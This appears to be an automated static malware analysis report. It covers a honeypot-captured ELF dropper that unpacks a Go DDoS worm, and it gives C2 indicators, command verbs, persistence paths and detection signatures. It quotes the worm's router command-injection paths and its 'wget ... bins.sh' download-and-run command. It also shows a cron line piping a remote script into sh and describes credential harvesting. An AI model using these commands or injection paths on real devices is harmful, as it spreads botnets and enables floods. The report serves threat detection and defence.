Honeypot capture

X86_64 ELF 64-bit LSB pie executable ddos-bot (ada33a0316d3)

C2 verifiedProtocol documented

A honeypot sensor network caught a 5,579,151-byte ELF sample that, read as data, resolves to exactly one command-and-control address, the channel an infected machine uses to reach its operator for instructions. The sample was read statically in a headless decompiler and never run, with no egress from the analysis container, so every address and offset below comes from the image rather than from a capture. That address is dialled by net.Dial("tcp", "185.226.93.242:9111") at offset 0x2122f8. The sample carries no domain, no DGA and no fallback endpoint, so a single blocklist entry covers it. The same host appears in nine other analysed captures, which ties those captures to one operator’s infrastructure.

The file holds two stages, the first an 8,407-byte x86-64 dropper — a program that writes another program to disk and runs it — carrying a 5,570,744-byte AArch64 Go implant appended to itself. The implant installs itself as sysd, beacons host telemetry over the plaintext socket, accepts flood command verbs, and scans random public IPv4 addresses to inject shell commands into consumer routers. The scanning behaviour makes the sample a worm. A worm copies itself to further machines with no user action, across a network, removable media or exposed services, so one infection becomes many. The sample works as a DDoS bot, a worm and a dropper, with router credential access on the scanning path and no credential-exfil or file-encryption path. Family attribution is open — the Go module path Botnet/Bot is the author’s build metadata, and no corpus was available offline to match it against.

Stage 0 and the carved payload

Stage 0’s main (0xef0) extracts the payload appended at file offset 0x20d7 to a tmpnam path and execves it, writes an hourly cron downloader (0x4010d3), and walks its working directory infecting writable ELF64 files (0x401460, marker test at 0x4016a0). The stub hides every interesting string behind a bespoke 88-entry byte substitution cipher with both alphabets stored in the writable segment (0x202020/0x202080, decoder at 0x15d0). The pipeline recovered that cipher fully. Decoding the string at 0x1939 with it yields /proc/self/exe, which confirms the orientation of the two alphabets.

The stub is x86-64 and the payload it execves is AArch64, so on an x86-64 host that execve fails and any dynamic work has to run the carved payload directly on AArch64. The carve is unpacked.bin, SHA-256 d114ce1baab7cfe7282245fda2808a9b40605948a01a9b7fe48336b42536ba23, and it is the analysis target for every stage-1 address below. The findings record stripped ELF section headers, which leave symbol- and section-based tooling nothing to read while the loadable segments still run; the missing import table follows from the static Go build (CGO_ENABLED=0 -tags=netgo).

Recovered capabilities

Table 1. Recovered capabilities, with ATT&CK technique, evidence offset and pipeline confidence. Per-capability confidence as assessed by the pipeline, with the ATT&CK technique and the offset each claim is anchored to. Static analysis only, in a headless decompiler; stage-0 offsets are in sample.bin.

CapabilityATT&CKEvidenceConfidence
Plaintext TCP C2T1071 (MBC B0030)0x2122f80.95
Non-registered port tcp/9111T15710x54c3c00.90
Host reconnaissance (CPU/mem)T10820x2148c00.90
Network denial of serviceT14980x20fe000.90
Endpoint (L7) denial of serviceT14990x2067a00.85
rc-script persistenceT1037.0040x2143a00.90
Self-copy / masquerade as sysdT10360x2143a00.90
Exploit public-facing app (worm)T11900x2150c00.85
Ingress tool transfer (bins.sh)T11050x2f729d0.80
Device credential accessT11100x2156a00.80
String obfuscation (stage 0)T1027stage-0 0x2020800.60
Cron persistence (stage 0)T1053.003stage-0 0x4010d30.50

A second, independent decompiler backend resolved the endpoint in the top row identically.

The plaintext TCP control channel

The implant assembles the endpoint immediately before the dial out of two adjacent Go string headers.

0x2122b8  adrp    x27, 0x54c000
0x2122bc  add     x27, x27, #0x3c0
0x2122c0  ldp     x1, x2, [x27]
0x2122c4  adrp    x27, 0x54c000
0x2122c8  add     x27, x27, #0x3d0
0x2122cc  ldp     x5, x6, [x27]
0x2122d4  adrp    x3, 0x35d000
0x2122d8  add     x3, x3, #0x2a8
0x2122e0  bl      0x6b800
0x2122ec  adrp    x0, 0x2e5000
0x2122f0  add     x0, x0, #0xa48
0x2122f4  orr     x1, xzr, #0x3
0x2122f8  bl      0x12f6a0

The header at 0x54c3c0 reads 30e63500000000000e00000000000000775b2e00000000000400000000000000 — a pointer to 0x35e630 with length 0x0e, then a pointer with length 4. The listing records the first target as ' 34e630 185.226.93.242' (VA = 0x34e630 + 0x10000 = 0x35e630), and the fourteen bytes there are 3138352e3232362e39332e323432; the four-byte string is the port. The recovered listing annotates the separator loaded at 0x35d2a8 as ; the concatstring3 separator, ":" and the network argument to the dial at 0x2e5a48 as ; the net.Dial network argument, exactly "tcp" (not tcp4/tcp6/udp).

The protocol has no framing beyond newline delimiting. Commands arrive as \n-terminated ASCII lines, split on whitespace by strings.Fields (0x2124b0) and dispatched through a length-indexed jump table at 0x364320. net.Dial hands the raw connection straight to a bufio.Scanner (0x212494), with no crypto/tls call in between. r2’s /ck found no crypto constant table and /ca aes no key schedule, although 380 of the implant’s 6,130 symbols belong to crypto/tls, serving net/http and the TLS-based attack handlers. The findings record no magic, no length prefix, no compression and no encryption in either direction, confirmed in the consensus round as items FR1 and PE1.

The implant reports host telemetry on a fixed schedule, because main.GetStats (0x2148c0) reads /proc/stat for CPU utilisation and /proc/meminfo for MemTotal/MemFree/Buffers/Cached and emits one line every 2 seconds in the format at 0x2eb1d1, STATS|%d|%d|%d|%d|%s, which carries CPU count, CPU percent, total and used memory, and the GOARCH string. The first integer comes from a Go runtime global at 0x581448 whose identity — gomaxprocs or NumCPU — was not resolved; that changes only the human label on the field. On a successful dial the implant prints “Connected to CNC!”, a time.AfterFunc(118 s) forces a reconnect with “Auto-reconnecting (120s limit)…”, and on dial failure or EOF it sleeps 5 seconds and redials. The beacon has no jitter (0x2141a8).

reproduction/c2_dissect.py therefore decodes one stream into the victim’s CPU count and utilisation, its total and used RAM and its architecture, plus each task’s attack method, target, port and duration for the whole session. Three protocol test vectors replay through the dissector. All three were synthesised rather than captured, because the analysis container has no egress and the sample was never run, so the codec has only been checked against bytes derived from the binary. Confidence in the layout is high because the format string and the field order were read directly out of the image, and a live capture would upgrade it from derived to observed. No greeting, token or magic appears on the dial path either, so reproduction/c2_client.py opens with a STATS line; if the real CNC expects a handshake before tasking, that step has to be added.

The 19 command verbs

Table 2. The 19 command verbs, with handler address and behaviour. Verbs as matched by the dispatch table at 0x364320; handler addresses are virtual addresses in unpacked.bin. Recovered by decompilation of the carved payload.

VerbHandlerBehaviour
udp0x20fe00UDP flood
tcp0x20df70TCP flood
hex0x20aff0TCP flood, hex payload
std0x20dd80random-payload flood
ovh0x20bff0OVH-tuned flood
ping0x20c240ICMP flood
ntp0x20b270NTP reflection/amplification
pps0x20c560packets-per-second flood
ppsraw0x20d620PPS flood, raw socket
voult0x211c50raw-socket attack
handshake0x20aa10TCP-handshake flood
fort0x2082b0L7 attack (HTTP/2 preface)
game0x208930game-protocol flood
priv70x20cb40HTTP POST flood
browser0x2067a0L7 browser-impersonation flood
tls0x20e0b0TLS flood
tlsplus0x20ea50L7 TLS+ (direct)
tlsplusbypass0x20f490L7 TLS+ via proxy list (bypass.txt)
cloudflare0x208050Cloudflare-bypass L7 flood

The findings map eleven of the verbs, udp through handshake, to volumetric and reflection flooding under T1498 (0x20fe00), and seven that build full HTTP/HTTPS requests with rotating browser headers and proxy chains to T1499 (0x2067a0); the remaining verb, tls, is the TLS flood at 0x20e0b0. Each verb takes target port duration, with the duration enforced by a time.AfterFunc timer. Each handler runs ResetAttack (0x2104c0) to tear down before it begins, and ResetAttack has exactly 19 callers, one per arm of the dispatcher. Three of the handlers — PPSRawFlood, VoultAttack, HandshakeFlood — need CAP_NET_RAW or root.

The pipeline did not analyse packet construction inside those handlers. The flood functions span 0x2067a0–0x211fa0 across 93 symbols, so the table says which handler a verb reaches and leaves the bytes on the wire unread.

How it reaches the next device

main.StartScanner (0x214e10) runs as a goroutine alongside the command loop. It picks random public IPv4 addresses, skipping RFC1918, loopback and unparseable ones, fingerprints the embedded web interface it finds, and injects shell commands through two known router paths: Boa’s POST /boafrm/formSysCmd with submit-url=%2Fsyscmd.htm&...&sysCmd=, and the TOTOLINK/LB-Link topicurl JSON API. The command it injects is wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh.

The host filling that %s has zero data cross-references and is supplied at runtime, as is the host in the related templates http://%s/bins.sh and http://%s/config.dat; the findings record that the host is not a literal in the image. Whether config.dat is fetched by the bot or served to victims turns on main.confCheck (0x215450), which was not decompiled.

Alongside the injection path, main.getCredLeak and main.getAdminCredLeak (0x2156a0) harvest router administrator credentials through a disclosure primitive, decompress the device’s response with an embedded LZSS decoder, then authenticate, solving a CAPTCHA when one is present. That decoder is the only author-written decoder among the implant’s 6,130 symbols, and every one of its callers sits on the victim-response path; it is main.Decode at 0x215180, a 4096-byte ring pre-filled with 0x20 to offset 0xfee, with 12-bit offset, 4-bit length and threshold 2.

What the sample writes to the host

The implant installs itself under the name sysd. main.AutoStart (0x2143a0) copies the running executable to the first writable directory among /usr/bin/, /data/local/tmp/ (the Android path), /tmp/ and /var/run/, falling back to ./, names it sysd and chmods it 0777. It tests writability by creating [dir]test_write with O_RDWR|O_CREAT|O_TRUNC and mode 0666 and removing it immediately.

The same function appends \n[path]/sysd &\n to /etc/rc.local, /etc/rc.d/rc.local, /etc/init.d/boot.local, /etc/profile, /root/.bashrc and one further path containing the hardcoded literal username user, which means that last one only fires on a host with that account. The function appends to a file only if that file does not already contain the string sysd, the marker the implant greps rc files for before appending.

The pipeline assesses the stage-0 cron job at confidence 0.50. The stub writes /etc/cron.hourly/0 containing #!/bin/sh\n\n wget --quiet hxxp[://]cf0[.]pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1, chmods it 05777 and calls ioctl FS_IOC_SETFLAGS on it. The evidence for this lives in the stage-0 stub in sample.bin, and only as ciphertext behind the substitution table, so cf0[.]pw, the URL, the cron path and the infection marker bongripz4jezuz are reported here in prose and are absent from the endpoint list in c2_profile.json. The direction of the ioctl was not traced end to end, so whether it sets or clears FS_IMMUTABLE_FL is unknown.

Ports and privileges it needs

The implant runs with only user privilege. The /usr/bin/sysd copy and the /etc/rc.local and /etc/profile appends need root; the /tmp/, /var/run/ and /root/.bashrc paths degrade gracefully. On the network side it needs outbound tcp/9111 to 185[.]226[.]93[.]242, tcp/80 and tcp/443 for scanning, exploitation and the L7 floods, and udp/123 for the NTP amplification method; denying any one of those blocks the capability behind it.

Network signatures

A STATS| line of four pipe-separated integers followed by the GOARCH value arm64 on an outbound TCP flow is the alerting signature, and detections/ada33a0316d3.rules is the ready-made Suricata rule for it. User-Agent: Hello World is a fixed and implausible header emitted by part of the HTTP code, assessed at confidence 0.70.

Addresses in the bytes but not in the profile

A byte sweep of the file found 26 network indicators beyond the recovered profile, among them the routable addresses 1[.]2[.]1[.]1, 1[.]2[.]2[.]1, 1[.]3[.]1[.]1, 119[.]0[.]0[.]0, 120[.]0[.]0[.]0 and 22[.]5[.]4[.]62, plus 1[.]1[.]1[.]1, which the findings record as a candidate scan or flood target and not confirmed C2. The findings treat them as unconfirmed leads rather than verified C2.

Where the artifacts are

What a live capture would add

A live capture would replace the synthesised test vectors and show which addresses the C2 host now resolves to and whether it still answers on tcp/9111.

Family
unclassified
First seen
October 12, 2026
Vector
Runs as a ddos-bot/worm; the entry vector is not established by static analysis
Format
5448 KB x86_64 ELF 64-bit LSB pie executable
VirusTotal
Not on VirusTotal
Tags
ddos-bot · dropper · elf · raw_tcp · worm · x86_64
Sample
By request. Email [email protected]

SHA-256

  • ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b as captured
  • d114ce1baab7cfe7282245fda2808a9b40605948a01a9b7fe48336b42536ba23 unpacked payload

Analysis performed using an automatic malware analysis pipeline using Binary Ninja

← All captures